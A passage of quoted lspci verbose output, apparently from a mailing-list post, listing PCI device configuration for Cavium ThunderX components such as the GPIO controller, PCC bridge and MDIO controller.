> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 828000000000 (32-bit, non-prefetchable) [size=1G]
> Region 4: [virtual] Memory at 828100000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [80] MSI-X: Enable- Count=3 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
>
> 0000:00:11.0 System peripheral: Cavium, Inc. THUNDERX GPIO Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 803000000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 803000f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [80] MSI-X: Enable- Count=176 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
>
> 0000:00:14.0 PCI bridge: Cavium, Inc. THUNDERX PCC Bridge (prog-if 01 [Subtractive decode])
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Bus: primary=00, secondary=06, subordinate=06, sec-latency=0
> I/O behind bridge: 00000000-00000fff
> Memory behind bridge: 00000000-000fffff
> Prefetchable memory behind bridge: 00000000-000fffff
> Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- <SERR- <PERR-
> BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B-
> PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn-
> Capabilities: [70] Express (v2) Root Port (Slot-), MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible-
> RootCap: CRSVisible-
> RootSta: PME ReqID 0000, PMEStatus- PMEPending-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported ARIFwd+
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled ARIFwd-
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [b0] #14 [0000]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a1 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Access Control Services
> ACSCap: SrcValid+ TransBlk+ ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans+
> ACSCtl: SrcValid+ TransBlk- ReqRedir+ CmpltRedir+ UpstreamFwd+ EgressCtrl- DirectTrans-
>
> 0000:00:1a.0 System peripheral: Cavium, Inc. Device a068
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 86d000000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
>
> 0000:00:1c.0 System peripheral: Cavium, Inc. Device a067
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 82c000000000 (32-bit, non-prefetchable) [size=1M]
> Region 4: [virtual] Memory at 82c000100000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [80] MSI-X: Enable- Count=4 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
>
> 0000:00:1d.0 System peripheral: Cavium, Inc. Device a067
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 82d000000000 (32-bit, non-prefetchable) [size=1M]
> Region 4: [virtual] Memory at 82d000100000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [80] MSI-X: Enable- Count=4 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
>
> 0000:00:1e.0 System peripheral: Cavium, Inc. Device a067
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 82e000000000 (32-bit, non-prefetchable) [size=1M]
> Region 4: [virtual] Memory at 82e000100000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Root Complex Integrated Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0
> ExtTag- RBE+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> Capabilities: [80] MSI-X: Enable- Count=4 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
>
> 0000:01:00.0 System peripheral: Cavium, Inc. Device a075
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e0fc000000 (32-bit, non-prefetchable) [size=256K]
> Region 4: [virtual] Memory at 87e0fcf00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 11
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:01.3 Serial bus controller [0c80]: Cavium, Inc. THUNDERX SMI / MDIO Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e005000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 15
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: mdio_thunder
>
> 0000:01:01.7 System peripheral: Cavium, Inc. THUNDERX Parallel Bus
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e001000000 (32-bit, non-prefetchable) [size=1M]
> Region 2: [virtual] Memory at 800000000000 (32-bit, non-prefetchable) [size=4G]
> Region 4: [virtual] Memory at 87e001f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=6 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0003]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 80
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:0a.0 System peripheral: Cavium, Inc. Device a094
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e120000000 (32-bit, non-prefetchable) [size=1M]
> Region 4: [virtual] Memory at 87e120f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 81
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:0a.1 System peripheral: Cavium, Inc. Device a094
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e121000000 (32-bit, non-prefetchable) [size=1M]
> Region 4: [virtual] Memory at 87e121f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
